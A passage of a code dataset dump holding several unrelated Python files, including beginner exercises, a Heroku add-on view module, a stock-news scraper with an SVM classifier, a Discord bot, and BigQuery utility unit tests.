'))\n\n# get the number of years on the current job\nyears_on_job = int(input('Enter the number of years employed: '))\n\n# determine whether the customer qualifies\nif salary >= min_salary and years_on_job >= min_years:\n print('you qualify for the loan')\nelse:\n print('you do not qualify for the loan')","sub_path":"3-7_load_qualifier2.py","file_name":"3-7_load_qualifier2.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"260017979","text":"# How to merge two dictionaries.\n\n# Consider it a dictionary one.\nxs = {\"a\": 1, \"b\": 2}\n\n# and this is dictionary two.\nys = {\"c\": 3, \"d\": 4}\n\n# so the combined dictionary would look like.\ncombined_dict = {**xs, **ys}\nprint(combined_dict)\n\n# Now suppose that there is a dictionary with the same keys.\nzs = {\"a\": 3, \"b\": 4}\n\n# So in this situation the right-hand sides wins over the left one in the overlapping keys.\n# Because they are combined in the order they are given so the last one\n# is implemented in the last and because of that, it overwrites all others.\nprint({**xs, **zs})","sub_path":"001-MergingTwoDictionaries.py","file_name":"001-MergingTwoDictionaries.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"538669711","text":"from pyramid.request import Request\nfrom pyramid.view import view_config\n\nimport json\nimport structlog\nimport typing as t\n\nlogger = structlog.getLogger(\"heroku.views\")\n\n\n@view_config(\n route_name=\"heroku_resources\", renderer=\"json\", request_method=\"POST\", openapi=False\n)\ndef provision(request: Request) -> t.Dict[t.Any, t.Any]:\n\n heroku_data = json.loads(request.body)\n\n logger.info(heroku_data)\n\n return {\n \"id\": heroku_data[\"uuid\"],\n \"message\": \"Your add-on is created and is available\",\n \"config\": {\"KEY1\": \"VALUE1\"},\n }\n\n\n@view_config(\n route_name=\"heroku_resources_single\",\n renderer=\"json\",\n request_method=\"PUT\",\n openapi=False,\n)\ndef plan_change(request: Request) -> t.Dict[t.Any, t.Any]:\n \"\"\"Update an article.\"\"\"\n\n addon_id = request.matchdict[\"slug\"]\n return {\"message\": \"Plan change is not supported\"}\n\n\n@view_config(\n route_name=\"heroku_resources_single\",\n renderer=\"json\",\n request_method=\"DELETE\",\n openapi=False,\n)\ndef deprovision(request: Request) -> t.Dict[t.Any, t.Any]:\n \"\"\"Update an article.\"\"\"\n\n addon_id = request.matchdict[\"slug\"]\n return {\"message\": \"De-provision not supported\"}\n","sub_path":"src/conduit/heroku/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"372697667","text":"# encoding: UTF-8\nimport numpy as np\n#from sklearn.svm import SVC\nfrom svmutil import *\nfrom svm import *\nimport tushare as ts\nimport requests\nimport jieba\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport gevent\nimport traceback\nfrom gevent import monkey\nfrom gevent.queue import Queue\nimport platform\nimport datetime\nimport codecs\n\n\nmonkey.patch_socket()\n\nbase_dir = \"/Users/xin/news\"\nbase_qq_url = \"http://qt.gtimg.cn/q=\"\nsysstr = platform.system()\nif (sysstr == \"Windows\"):\n base_dir = \"D:\\\\news\"\nelif (sysstr == \"Linux\"):\n print(\"Call Linux tasks\")\n\ntasks = Queue()\ntoday_str = datetime.datetime.now().strftime(\"%Y%m%d\")\nlast_day_str = (datetime.datetime.now() - datetime.timedelta(days=1)).strftime(\"%Y%m%d\")\nonly = set()\n\nlabels, features = svm_read_problem('train_datas.txt')\nm = svm_train(labels[:], features[:], '-s 2')\nwords = []\n\ndef getfloat(value):\n try:\n return float(value)\n except ValueError:\n return 1\n\n\ndef get_content(url, title, code):\n cur_date = \"\"\n match = re.search(r'/(\\d{8})/', url.replace('-', ''))\n if match:\n cur_date = match.group(1)\n\n if len(cur_date) == 0:\n return\n\n if today_str != cur_date and last_day_str != cur_date:\n return\n\n if url in only:\n return\n\n only.add(url)\n\n #if not os.path.exists(os.path.join(base_dir, cur_date, code)):\n # os.makedirs(os.path.join(base_dir, cur_date, code))\n\n response = requests.get(url)\n response.encoding = 'utf8'\n html = response.text\n if html.find(\"utf-8\") == -1 or html.find(\"utf-8\") > 1000:\n response = requests.get(url, timeout=60)\n response.encoding = 'gbk'\n html = response.text\n soup = BeautifulSoup(html, \"html.parser\")\n link = soup.find(id=\"artibody\")\n text = link.get_text()\n tmp = soup.find(class_=\"time-source\").get_text().split(\" \")\n news_time = \"\"\n for tmp_news_time in tmp:\n if len(tmp_news_time) > 8:\n news_time = tmp_news_time\n break\n\n predict = {}\n for word in words:\n if word in text:\n text_hash = words.index(word)\n predict[text_hash] = text.count(word)\n\n #print(predict)\n\n #p_label, p_acc, p_val = svm_predict([1], [predict], m)\n #print(p_label, p_acc, p_val)\n\n x0, max_idx = gen_svm_nodearray(predict)\n label = libsvm.svm_predict(m, x0)\n\n print(label)\n if label == +1:\n print(code, url, news_time, title)\n\n #with open(os.path.join(base_dir,cur_date, code, str(abs(hash(url)) % (10 ** 8)) + \".txt\"), 'w+', encoding='utf8', newline='') as file:\n # file.write(url + \"\\n\")\n # file.write(title + \"\\n\")\n # file.write(text)\n\n\ndef get_date_list(code, page):\n prefix = \"sh\" if code.startswith(\"6\") else \"sz\"\n url = \"http://vip.stock.finance.sina.com.cn/corp/view/vCB_AllNewsStock.php?symbol={0}&Page={1}\".format(prefix + code, page)\n\n #if not test_go_up(prefix + code):\n # return\n\n response = requests.get(url, timeout=60)\n response.encoding = 'gbk'\n html = response.text\n soup = BeautifulSoup(html, \"html.parser\")\n links = soup.select(\".datelist a\")\n\n for link in links[0:6]:\n href = link.get(\"href\")\n text = link.get_text()\n if \"业绩预告\" in text or \"季度报告\" in text or \"修正公告\" in text:\n pass\n get_content(href, text, code)\n\n\ndef cal_wrap():\n while not tasks.empty():\n try:\n task = tasks.get()\n get_date_list(task[0], task[1])\n #tasks.put_nowait((task[0], task[1]))\n except Exception as error:\n traceback.print_exc()\n\n\ndef boss():\n codes = ts.get_stock_basics().index.values\n for code in codes:\n for page in range(1, 2):\n tasks.put_nowait((code, page))\n\n\nif __name__ == '__main__':\n #if not os.path.exists(base_dir):\n # os.makedirs(base_dir)\n\n with codecs.open(\"words.txt\", \"r\", encoding='utf-8', errors='ignore') as wordfile:\n words = [line.strip() for line in wordfile.readlines()]\n\n gevent.spawn(boss).join()\n try:\n gevent.joinall([\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap),\n gevent.spawn(cal_wrap)])\n except Exception as error:\n traceback.print_exc()","sub_path":"messages/svc.py","file_name":"svc.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"596401103","text":"#scribir un programa para una empresa que tiene salas de entretenimiento para todas las edades y quiere calcular de forma automática el precio que debe cobrar a sus clientes por entrar.\n #El programa debe preguntar al usuario la edad del cliente y mostrar el precio de la entrada.\n #Si el cliente es menor de 4 años puede entrar gratis, si tiene entre 4 y 18 años debe pagar $4 y si es mayor de 18 años, 10$.\n\nedad = int(input(\"Introduce tu edad: \"))\n#proceso\nif edad < 4:\n precio = 0\nelif edad <= 18:\n precio = 4\nelse:\n precio = 10\n#salida\nprint(\"El precio de la entrada es\", precio, \"$.\")","sub_path":"ejercicios.py","file_name":"ejercicios.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"196844615","text":"from typing import List, Iterable, Pattern\n\nimport re\nimport os\nimport io\nimport sys\n\n\nHELP = '''\nCounts the number of lines in files matching a certain pattern.\nSearches the current directory and all subdirecories, but not \nparent directories. The wildcard * matches anything.\n\nExamples:\n\nline_counter.py include/*.h src/*.cpp\nline_counter.py *.txt\nline_counter.py new_* special_* unused_*\n\nNote: currently, * is the only supported wildcard.\n'''\n\n\ndef line_count(filename: str) -> int:\n with io.open(filename) as f:\n return sum(1 for line in f)\n\n\ndef filenames_in_tree(path: str) -> Iterable[str]:\n for dirpath, dirnames, filenames in os.walk(path):\n for filename in filenames:\n yield f'{dirpath}/{filename}'\n\n\ndef matched_strings(strs: Iterable[str], patterns: Iterable[Pattern]) -> Iterable[str]:\n return (s for s in strs if matches_any_pattern(s, patterns))\n\n\ndef matches_any_pattern(s: str, patterns: Iterable[Pattern]) -> bool:\n return any(p for p in patterns if p.fullmatch(s) is not None)\n\n\ndef filename_regex(regex: str) -> str:\n return f'\\.?/?{regex.replace(\"*\", \".*\")}'\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1 or sys.argv[1] == '--help':\n print(HELP)\n sys.exit(1)\n \n\n patterns = [re.compile(filename_regex(regex)) for regex in sys.argv[1:]]\n filenames = filenames_in_tree('.')\n matched_filenames = matched_strings(filenames, patterns)\n overall_lines = sum(line_count(f) for f in matched_filenames)\n\n print(overall_lines)\n\n sys.exit(0)\n\n","sub_path":"line_counter/line_counter.py","file_name":"line_counter.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"98121124","text":"from discord.ext import commands, tasks\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\nimport datetime\nfrom django.utils import timezone\nfrom wlct.tournaments import RealTimeLadder, TournamentGame, get_team_data_sameline, get_team_data_no_clan\nfrom wlct.models import Engine, Player, DiscordUser\nimport asyncio\nimport discord\nimport os\n\ndescription = '''An example bot to showcase the discord.ext.commands extension\nmodule.\n\nThere are a number of utility commands being showcased here.'''\ndef get_cmd_prefix():\n if not settings.DEBUG:\n return \"bb!\"\n else:\n return \"bt!\"\n\nEXTENSIONS = ['wlct.cogs.common', 'wlct.cogs.clot', 'wlct.cogs.help', 'wlct.cogs.ladders', 'wlct.cogs.tasks']\n\nclass WZBot(commands.AutoShardedBot):\n\n def __init__(self):\n self.prefix = get_cmd_prefix()\n print(\"[PREFIX]: {}\".format(self.prefix))\n super().__init__(command_prefix=str(self.prefix), reconnect=True, case_insensitive=True)\n\n # initialize some bot state\n self.embed_color = 0xFE8000\n self.cmdUsage = {}\n self.cmdUsers = {}\n self.guildUsage = {}\n self.rtl_channels = []\n self.clan_league_channels = []\n self.mtc_channels = []\n self.last_task_run = timezone.now()\n\n self.executions = 0\n\n # deltas for when the bot does stuff\n\n for ext in EXTENSIONS:\n self.load_extension(ext)\n print(\"Loaded extension: {}\".format(ext))\n\n @property\n def owner(self):\n return self.get_user(self.owner_id)\n\n async def on_disconnect(self):\n for channel in self.rtl_channels:\n # await channel.send(\"Updating my code...be right back...\")\n pass\n\n async def on_message(self, msg):\n if not self.is_ready() or msg.author.bot:\n return\n\n await self.process_commands(msg)\n\n async def on_member_join(self, member):\n cog = self.get_cog(\"tasks\")\n if cog:\n cog.process_member_join(member.id)\n\n async def on_ready(self):\n print(f'[CONNECT] Logged in as:\\n{self.user} (ID: {self.user.id})\\n')\n\n # cache all the guilds we're in when we login and the real-time-ladder channels\n for guild in self.guilds:\n for channel in guild.channels:\n if channel.name == \"real-time-ladder\" or channel.name == \"real_time_ladder\":\n print(\"Caching RTL channel in guild: {}\".format(guild.name))\n self.rtl_channels.append(channel)\n elif channel.name == \"monthly-template-circuit\" or channel.name == \"monthly_template_circuit\":\n self.mtc_channels.append(channel)\n elif channel.name == \"clan-league-bot-chat\" or channel.name == \"clan-league-bot-chat\":\n self.clan_league_channels.append(channel)\n\n if not hasattr(self, 'uptime'):\n self.uptime = timezone.now()\n\n def get_channel_list(self):\n return self.rtl_channels\n\nclass Command(BaseCommand):\n help = \"Runs the CLOT Bot\"\n def handle(self, *args, **options):\n if settings.DEBUG:\n bot = WZBot()\n bot.run(os.environ['WZ_TEST_BOT_TOKEN'])\n else:\n bot = WZBot()\n bot.run(os.environ['WZ_BOT_TOKEN'])\n","sub_path":"wlct/management/commands/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"637278936","text":"class TrailerActivity(object):\n\tdef __init__(self, \n\t\ttarget_trailer):\n\t\tself.current_customer_id = target_trailer['current_customer_id']\n\t\tself.current_customer_name = target_trailer['current_customer_name']\n\t\tself.current_project_id = target_trailer['current_project_id']\n\t\tself.current_project_name = target_trailer['current_project_name']\n\t\tself.project_coordinator = target_trailer['project_coordinator']\n\t\tself.load_no = target_trailer['load_no']\n\t\tself.material_cat = target_trailer['material_cat']\n\t\tself.trailer_no = target_trailer['trailer_no']\n\t\tself.trailer_numeric = target_trailer['trailer_numeric']\n\t\tself.trailer_type = target_trailer['trailer_type']\n\t\tself.vehicle_no = target_trailer['vehicle_no']\n\t\tself.status = target_trailer['status']\n\t\tself.remarks = target_trailer['remarks']\n\t\tself.sequence = None\n\t\tself.first_print_date = None\n\t\tself.wt_no = None\n\t\tself.requestor = None\n\t\tself.request_datetime = None\n\t\tself.request_message_id = None\n\t\tself.destination_customer_id = None\n\t\tself.destination_customer_name = None\n\t\tself.destination_project_id = None\n\t\tself.destination_project_name = None\n\t\tself.destination_project_coordinator = None\n\t\tself.request_acceptor = None\n\t\tself.request_completor = None\n\t\tself.picture_id = None\n\t\tself.activity_type = None\n\tdef __str__(self):\n\t\treturn self.trailer_no + \" at \" + self.current_project_name + \" (\" + self.current_customer_name + \") \" + \" SEQUENCE \" + str(self.sequence)\n","sub_path":"support_classes/traileractivity.py","file_name":"traileractivity.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"457391007","text":"import csv\nimport os\nimport time\nimport unittest\nfrom datetime import datetime\n\nimport mock\nfrom google.appengine.ext import testbed\n\nimport bq_utils\nimport common\nfrom google.appengine.api import app_identity\nimport constants.bq_utils as bq_utils_consts\nimport gcs_utils\nimport resources\nimport test_util\nfrom test_util import FAKE_HPO_ID, FIVE_PERSONS_PERSON_CSV\nfrom test_util import NYC_FIVE_PERSONS_MEASUREMENT_CSV, NYC_FIVE_PERSONS_PERSON_CSV\nfrom test_util import PITT_FIVE_PERSONS_PERSON_CSV, PITT_FIVE_PERSONS_OBSERVATION_CSV\nfrom validation.achilles import ACHILLES_TABLES\n\n\nclass BqUtilsTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n print('**************************************************************')\n print(cls.__name__)\n print('**************************************************************')\n\n def setUp(self):\n self.testbed = testbed.Testbed()\n self.testbed.activate()\n self.testbed.init_app_identity_stub()\n self.testbed.init_memcache_stub()\n self.testbed.init_urlfetch_stub()\n self.testbed.init_blobstore_stub()\n self.testbed.init_datastore_v3_stub()\n self.hpo_bucket = gcs_utils.get_hpo_bucket(FAKE_HPO_ID)\n self.person_table_id = bq_utils.get_table_id(FAKE_HPO_ID, common.PERSON)\n self.dataset_id = bq_utils.get_dataset_id()\n test_util.delete_all_tables(self.dataset_id)\n self.project_id = app_identity.get_application_id()\n self.TEST_FIELDS = [\n {\n \"type\": \"integer\",\n \"name\": \"integer_field\",\n \"mode\": \"required\",\n \"description\": \"An integer field\"\n },\n {\n \"type\": \"string\",\n \"name\": \"string_field\",\n \"mode\": \"required\",\n \"description\": \"A string field\"\n },\n {\n \"type\": \"date\",\n \"name\": \"date_field\",\n \"mode\": \"required\",\n \"description\": \"A date field\"\n },\n {\n \"type\": \"timestamp\",\n \"name\": \"timestamp_field\",\n \"mode\": \"required\",\n \"description\": \"A timestamp field\"\n },\n {\n \"type\": \"boolean\",\n \"name\": \"boolean_field\",\n \"mode\": \"required\",\n \"description\": \"A boolean field\"\n },\n {\n \"type\": \"float\",\n \"name\": \"float_field\",\n \"mode\": \"required\",\n \"description\": \"A float field\"\n }\n ]\n self.DT_FORMAT = '%Y-%m-%d %H:%M:%S'\n self._empty_bucket()\n\n def _empty_bucket(self):\n bucket_items = gcs_utils.list_bucket(self.hpo_bucket)\n for bucket_item in bucket_items:\n gcs_utils.delete_object(self.hpo_bucket, bucket_item['name'])\n\n def _drop_tables(self):\n tables = bq_utils.list_tables()\n for table in tables:\n table_id = table['tableReference']['tableId']\n if table_id not in common.VOCABULARY_TABLES:\n bq_utils.delete_table(table_id)\n\n def _table_has_clustering(self, table_info):\n clustering = table_info.get('clustering')\n self.assertIsNotNone(clustering)\n fields = clustering.get('fields')\n self.assertSetEqual(set(fields), {'person_id'})\n time_partitioning = table_info.get('timePartitioning')\n self.assertIsNotNone(time_partitioning)\n tpe = time_partitioning.get('type')\n self.assertEqual(tpe, 'DAY')\n\n def test_load_csv(self):\n from google.appengine.api import app_identity\n\n app_id = app_identity.get_application_id()\n table_name = 'achilles_analysis'\n schema_file_name = table_name + '.json'\n csv_file_name = table_name + '.csv'\n schema_path = os.path.join(resources.fields_path, schema_file_name)\n local_csv_path = os.path.join(test_util.TEST_DATA_EXPORT_PATH, csv_file_name)\n with open(local_csv_path, 'r') as fp:\n response = gcs_utils.upload_object(self.hpo_bucket, csv_file_name, fp)\n hpo_bucket = self.hpo_bucket\n gcs_object_path = 'gs://%(hpo_bucket)s/%(csv_file_name)s' % locals()\n dataset_id = self.dataset_id\n load_results = bq_utils.load_csv(schema_path, gcs_object_path, app_id, dataset_id, table_name)\n\n load_job_id = load_results['jobReference']['jobId']\n incomplete_jobs = bq_utils.wait_on_jobs([load_job_id])\n self.assertEqual(len(incomplete_jobs), 0, 'loading table {} timed out'.format(table_name))\n query_response = bq_utils.query('SELECT COUNT(1) FROM %(table_name)s' % locals())\n self.assertEqual(query_response['kind'], 'bigquery#queryResponse')\n\n def test_load_cdm_csv(self):\n with open(FIVE_PERSONS_PERSON_CSV, 'rb') as fp:\n gcs_utils.upload_object(self.hpo_bucket, 'person.csv', fp)\n result = bq_utils.load_cdm_csv(FAKE_HPO_ID, common.PERSON)\n self.assertEqual(result['status']['state'], 'RUNNING')\n\n load_job_id = result['jobReference']['jobId']\n table_id = result['configuration']['load']['destinationTable']['tableId']\n incomplete_jobs = bq_utils.wait_on_jobs([load_job_id])\n self.assertEqual(len(incomplete_jobs), 0, 'loading table {} timed out'.format(table_id))\n table_info = bq_utils.get_table_info(table_id)\n num_rows = table_info.get('numRows')\n self.assertEqual(num_rows, '5')\n\n def test_load_cdm_csv_error_on_bad_table_name(self):\n with self.assertRaises(ValueError) as cm:\n bq_utils.load_cdm_csv(FAKE_HPO_ID, 'not_a_cdm_table')\n\n def test_query_result(self):\n with open(FIVE_PERSONS_PERSON_CSV, 'rb') as fp:\n gcs_utils.upload_object(self.hpo_bucket, 'person.csv', fp)\n result = bq_utils.load_cdm_csv(FAKE_HPO_ID, common.PERSON)\n\n load_job_id = result['jobReference']['jobId']\n incomplete_jobs = bq_utils.wait_on_jobs([load_job_id])\n self.assertEqual(len(incomplete_jobs), 0, 'loading table {} timed out'.format(common.PERSON))\n\n table_id = bq_utils.get_table_id(FAKE_HPO_ID, common.PERSON)\n q = 'SELECT person_id FROM %s' % table_id\n result = bq_utils.query(q)\n self.assertEqual(5, int(result['totalRows']))\n\n def test_merge_with_good_data(self):\n running_jobs = []\n with open(NYC_FIVE_PERSONS_PERSON_CSV, 'rb') as fp:\n gcs_utils.upload_object(gcs_utils.get_hpo_bucket('nyc'), 'person.csv', fp)\n result = bq_utils.load_cdm_csv('nyc', 'person')\n running_jobs.append(result['jobReference']['jobId'])\n\n with open(PITT_FIVE_PERSONS_PERSON_CSV, 'rb') as fp:\n gcs_utils.upload_object(gcs_utils.get_hpo_bucket('pitt'), 'person.csv', fp)\n result = bq_utils.load_cdm_csv('pitt', 'person')\n running_jobs.append(result['jobReference']['jobId'])\n\n nyc_person_ids = [int(row['person_id'])\n for row in\n resources.csv_to_list(NYC_FIVE_PERSONS_PERSON_CSV)]\n pitt_person_ids = [int(row['person_id'])\n for row in resources.csv_to_list(\n PITT_FIVE_PERSONS_PERSON_CSV\n )]\n expected_result = nyc_person_ids + pitt_person_ids\n expected_result.sort()\n\n incomplete_jobs = bq_utils.wait_on_jobs(running_jobs)\n self.assertEqual(len(incomplete_jobs), 0, 'loading tables {},{} timed out'.format('nyc_person', 'pitt_person'))\n\n dataset_id = self.dataset_id\n table_ids = ['nyc_person', 'pitt_person']\n merged_table_id = 'merged_nyc_pitt'\n success_flag, error = bq_utils.merge_tables(dataset_id,\n table_ids,\n dataset_id,\n merged_table_id)\n\n self.assertTrue(success_flag)\n self.assertEqual(error, \"\")\n\n query_string = 'SELECT person_id FROM {dataset_id}.{table_id}'.format(dataset_id=dataset_id,\n table_id=merged_table_id)\n merged_query_job_result = bq_utils.query(query_string)\n\n self.assertIsNone(merged_query_job_result.get('errors', None))\n actual_result = [int(row['f'][0]['v']) for row in merged_query_job_result['rows']]\n actual_result.sort()\n self.assertListEqual(expected_result, actual_result)\n\n def test_merge_bad_table_names(self):\n table_ids = ['nyc_person_foo', 'pitt_person_foo']\n success_flag, error_msg = bq_utils.merge_tables(\n self.dataset_id,\n table_ids,\n self.dataset_id,\n 'merged_nyc_pitt'\n )\n\n # print error_msg\n assert (not success_flag)\n\n def test_merge_with_unmatched_schema(self):\n running_jobs = []\n with open(NYC_FIVE_PERSONS_MEASUREMENT_CSV, 'rb') as fp:\n gcs_utils.upload_object(gcs_utils.get_hpo_bucket('nyc'), 'measurement.csv', fp)\n result = bq_utils.load_cdm_csv('nyc', 'measurement')\n running_jobs.append(result['jobReference']['jobId'])\n\n with open(PITT_FIVE_PERSONS_PERSON_CSV, 'rb') as fp:\n gcs_utils.upload_object(gcs_utils.get_hpo_bucket('pitt'), 'person.csv', fp)\n result = bq_utils.load_cdm_csv('pitt', 'person')\n running_jobs.append(result['jobReference']['jobId'])\n\n incomplete_jobs = bq_utils.wait_on_jobs(running_jobs)\n self.assertEqual(len(incomplete_jobs), 0,\n 'loading tables {},{} timed out'.format('nyc_measurement', 'pitt_person'))\n\n table_names = ['nyc_measurement', 'pitt_person']\n success, error = bq_utils.merge_tables(\n self.dataset_id,\n table_names,\n self.dataset_id,\n 'merged_nyc_pitt'\n )\n self.assertFalse(success)\n\n def test_create_table(self):\n table_id = 'some_random_table_id'\n fields = [dict(name='person_id', type='integer', mode='required'),\n dict(name='name', type='string', mode='nullable')]\n result = bq_utils.create_table(table_id, fields)\n self.assertTrue('kind' in result)\n self.assertEqual(result['kind'], 'bigquery#table')\n table_info = bq_utils.get_table_info(table_id)\n self._table_has_clustering(table_info)\n\n def test_create_existing_table_without_drop_raises_error(self):\n table_id = 'some_random_table_id'\n fields = [dict(name='id', type='integer', mode='required'),\n dict(name='name', type='string', mode='nullable')]\n bq_utils.create_table(table_id, fields)\n with self.assertRaises(bq_utils.InvalidOperationError) as cm:\n bq_utils.create_table(table_id, fields, drop_existing=False)\n\n def test_create_table_drop_existing_success(self):\n table_id = 'some_random_table_id'\n fields = [dict(name='id', type='integer', mode='required'),\n dict(name='name', type='string', mode='nullable')]\n result_1 = bq_utils.create_table(table_id, fields)\n # sanity check\n table_id = result_1['tableReference']['tableId']\n self.assertTrue(bq_utils.table_exists(table_id))\n result_2 = bq_utils.create_table(table_id, fields, drop_existing=True)\n # same id and second one created after first one\n self.assertEqual(result_1['id'], result_2['id'])\n self.assertTrue(result_2['creationTime'] > result_1['creationTime'])\n\n def test_create_standard_table(self):\n standard_tables = list(resources.CDM_TABLES) + ACHILLES_TABLES\n for standard_table in standard_tables:\n table_id = 'prefix_for_test_' + standard_table\n result = bq_utils.create_standard_table(standard_table, table_id)\n self.assertTrue('kind' in result)\n self.assertEqual(result['kind'], 'bigquery#table')\n # sanity check\n self.assertTrue(bq_utils.table_exists(table_id))\n\n @mock.patch('bq_utils.job_status_done', lambda x: True)\n def test_wait_on_jobs_already_done(self):\n job_ids = range(3)\n actual = bq_utils.wait_on_jobs(job_ids)\n expected = []\n self.assertEqual(actual, expected)\n\n @mock.patch('time.sleep', return_value=None)\n @mock.patch('bq_utils.job_status_done', return_value=False)\n def test_wait_on_jobs_all_fail(self, mock_job_status_done, mock_time_sleep):\n job_ids = list(range(3))\n actual = bq_utils.wait_on_jobs(job_ids)\n expected = job_ids\n self.assertEqual(actual, expected)\n # TODO figure out how to count this\n # self.assertEquals(mock_time_sleep.call_count, bq_utils.BQ_DEFAULT_RETRY_COUNT)\n\n @mock.patch('time.sleep', return_value=None)\n @mock.patch('bq_utils.job_status_done', side_effect=[False, False, False, True, False, False, True, True, True])\n def test_wait_on_jobs_get_done(self, mock_job_status_done, mock_time_sleep):\n job_ids = list(range(3))\n actual = bq_utils.wait_on_jobs(job_ids)\n expected = []\n self.assertEqual(actual, expected)\n\n @mock.patch('time.sleep', return_value=None)\n @mock.patch('bq_utils.job_status_done', side_effect=[False, False, True, False, False, False, False,\n False, False, False, False, False])\n def test_wait_on_jobs_some_fail(self, mock_job_status_done, mock_time_sleep):\n job_ids = list(range(2))\n actual = bq_utils.wait_on_jobs(job_ids)\n expected = [1]\n self.assertEqual(actual, expected)\n\n def test_wait_on_jobs_retry_count(self):\n # TODO figure out how to count this\n # self.assertEquals(mock_time_sleep.call_count, bq_utils.BQ_DEFAULT_RETRY_COUNT)\n pass\n\n def test_load_ehr_observation(self):\n hpo_id = 'pitt'\n dataset_id = self.dataset_id\n table_id = bq_utils.get_table_id(hpo_id, table_name='observation')\n q = 'SELECT observation_id FROM {dataset_id}.{table_id} ORDER BY observation_id'.format(\n dataset_id=dataset_id,\n table_id=table_id)\n expected_observation_ids = [int(row['observation_id'])\n for row in resources.csv_to_list(PITT_FIVE_PERSONS_OBSERVATION_CSV)]\n with open(PITT_FIVE_PERSONS_OBSERVATION_CSV, 'rb') as fp:\n gcs_utils.upload_object(gcs_utils.get_hpo_bucket(hpo_id), 'observation.csv', fp)\n result = bq_utils.load_cdm_csv(hpo_id, 'observation')\n job_id = result['jobReference']['jobId']\n incomplete_jobs = bq_utils.wait_on_jobs([job_id])\n self.assertEqual(len(incomplete_jobs), 0, 'pitt_observation load job did not complete')\n load_job_result = bq_utils.get_job_details(job_id)\n load_job_result_status = load_job_result['status']\n load_job_errors = load_job_result_status.get('errors')\n self.assertIsNone(load_job_errors, msg='pitt_observation load job failed: ' + str(load_job_errors))\n query_results_response = bq_utils.query(q)\n query_job_errors = query_results_response.get('errors')\n self.assertIsNone(query_job_errors)\n actual_result = [int(row['f'][0]['v']) for row in query_results_response['rows']]\n self.assertListEqual(actual_result, expected_observation_ids)\n\n @mock.patch('bq_utils.os.environ.get')\n def test_get_validation_results_dataset_id_not_existing(self, mock_env_var):\n # preconditions\n mock_env_var.return_value = bq_utils_consts.BLANK\n\n # test\n result_id = bq_utils.get_validation_results_dataset_id()\n\n # post conditions\n date_string = datetime.now().strftime(bq_utils_consts.DATE_FORMAT)\n expected = bq_utils_consts.VALIDATION_DATASET_FORMAT.format(date_string)\n self.assertEqual(result_id, expected)\n\n @mock.patch('bq_utils.os.environ.get')\n def test_get_validation_results_dataset_id_existing(self, mock_env_var):\n # preconditions\n mock_env_var.return_value = 'dataset_foo'\n\n # test\n result_id = bq_utils.get_validation_results_dataset_id()\n\n # post conditions\n expected = 'dataset_foo'\n self.assertEqual(result_id, expected)\n\n def test_load_table_from_csv(self):\n table_id = 'test_csv_table'\n csv_file = 'load_csv_test_data.csv'\n csv_path = os.path.join(test_util.TEST_DATA_PATH, csv_file)\n with open(csv_path, 'r') as f:\n expected = list(csv.DictReader(f))\n bq_utils.load_table_from_csv(self.project_id, self.dataset_id, table_id, csv_path, self.TEST_FIELDS)\n q = \"\"\" SELECT *\n FROM `{project_id}.{dataset_id}.{table_id}`\"\"\".format(project_id=self.project_id,\n dataset_id=self.dataset_id,\n table_id=table_id)\n r = bq_utils.query(q)\n actual = bq_utils.response2rows(r)\n\n # Convert the epoch times to datetime with time zone\n for row in actual:\n row['timestamp_field'] = time.strftime(self.DT_FORMAT + ' UTC', time.gmtime(row['timestamp_field']))\n expected.sort(key=lambda row: row['integer_field'])\n actual.sort(key=lambda row: row['integer_field'])\n for i, _ in enumerate(expected):\n self.assertItemsEqual(expected[i], actual[i])\n\n def tearDown(self):\n test_util.delete_all_tables(self.dataset_id)\n self._empty_bucket()\n self.testbed.deactivate()\n","sub_path":"data_steward/test/unit_test/bq_utils_test.py","file_name":"bq_utils_test.py","file_ext":"py","file_size_in_byte":17683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"480618126","text":"# Copyright 2014 Scalyr Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ------------------------------------------------------------------------\n#\n# author: Steven Czerwinski \nfrom scalyr_agent.json_lib import JsonObject\nfrom scalyr_agent.platform_controller import DefaultPaths\n\n__author__ = 'czerwin@scalyr.com'\n\nimport unittest\n\nimport os\nimport tempfile\n\nfrom scalyr_agent.configuration import Configuration\nfrom scalyr_agent.copying_manager import CopyingParameters\n\nONE_MB = 1024 * 1024\n\n\nclass CopyingParamsTest(unittest.TestCase):\n def setUp(self):\n self.__config_dir = tempfile.mkdtemp()\n self.__config_file = os.path.join(self.__config_dir, 'agentConfig.json')\n self.__config_fragments_dir = os.path.join(self.__config_dir, 'configs.d')\n os.makedirs(self.__config_fragments_dir)\n\n fp = 